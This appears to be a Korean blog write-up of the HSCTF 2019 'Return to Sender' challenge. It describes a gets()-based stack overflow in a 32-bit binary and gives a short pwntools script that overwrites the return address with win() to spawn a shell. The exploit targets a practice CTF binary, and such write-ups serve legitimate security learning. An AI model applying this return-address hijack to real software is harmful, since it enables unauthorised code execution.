| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | ||||||
| 2 | 3 | 4 | 5 | 6 | 7 | 8 |
| 9 | 10 | 11 | 12 | 13 | 14 | 15 |
| 16 | 17 | 18 | 19 | 20 | 21 | 22 |
| 23 | 24 | 25 | 26 | 27 | 28 |
Tags
- 완전 탐색
- ROP
- BFS
- heap
- 이진 탐색
- 연결리스트
- 문자열 처리
- BOF
- 투 포인터
- 분할 정복
- 수학
- 스택
- 다이나믹 프로그래밍
- 스위핑 알고리즘
- House of Orange
- 큐
- 이분 탐색
- 에라토스테네스의 체
- 이진트리
- 동적 계획법
- syscall
- 백트래킹
- DFS
- 포맷스트링버그
- off by one
- RTL
- tcache
- fsb
- 브루트 포스
- OOB
Archives
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
HSCTF 2019 - Return to Sender 본문
32bit 바이너리에 아주 간단한 bof문제이다.
vuln()함수에서 gets(&s); 에서 bof가 발생한다.
게다가 system("/bin/sh");도 주어줬으므로 ret에 win()함수를 넣어주면 되겠다.
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
from pwn import *
p = process('./return-to-sender')
win = 0x080491B6
pay = ''
pay += 'a'*0x10
pay += 'bbbb'
pay += p64(win)
p.sendlineafter("today? ", pay)
p.interactive()
|
'write-up > pwnable' 카테고리의 다른 글
| NACTF 2019 - BufferOverflow #0 (0) | 2019.09.23 |
|---|---|
| HSCTF 2019 - Storytime (0) | 2019.09.16 |
| HSCTF 2019 - Combo Chain (0) | 2019.09.16 |
| HSCTF 2019 - Combo Chain Lite (0) | 2019.09.16 |
| DefCamp CTF Qualification 2019 - secret (0) | 2019.09.14 |
'write-up/pwnable' Related Articles
more
Comments